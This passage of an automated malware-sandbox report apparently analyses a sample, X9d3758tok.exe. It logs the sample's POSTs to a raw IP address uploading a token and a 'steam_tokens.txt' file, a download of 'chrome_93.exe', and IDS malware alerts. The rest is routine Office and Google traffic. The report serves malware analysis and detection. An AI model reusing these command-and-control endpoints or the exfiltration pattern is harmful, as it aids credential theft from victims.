74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 2d 2d 0d 0a Data Ascii: ------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="message"files------DBAAFIDGDAAAAAAAAKEB--
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECGHost: 77.83.175.105Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 2d 2d 0d 0a Data Ascii: ------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="file"------IECFIEGDBKJKFIDHIECG--
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDGCFBFBFBKEBGCAFCGHost: 77.83.175.105Content-Length: 130315Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDGCGHCGHCBFHJJKKJEHost: 77.83.175.105Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="message"ybncbhylepme------JJDGCGHCGHCBFHJJKKJE--
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJHost: 77.83.175.105Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHJDGHIJDGCBAAAAAFIJ--

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: ON-LINE-DATAServerlocation-NetherlandsDrontenNL ON-LINE-DATAServerlocation-NetherlandsDrontenNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 77.83.175.105:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49755 -> 77.83.175.105:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49761 -> 87.106.236.48:443

Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105
Source: unknown	TCP traffic detected without corresponding DNS query: 77.83.175.105

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PLAkm+BST3MllS1&MD=+y2vvvOK HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /chrome_93.exe HTTP/1.1Host: campuspersever.esCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PLAkm+BST3MllS1&MD=+y2vvvOK HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
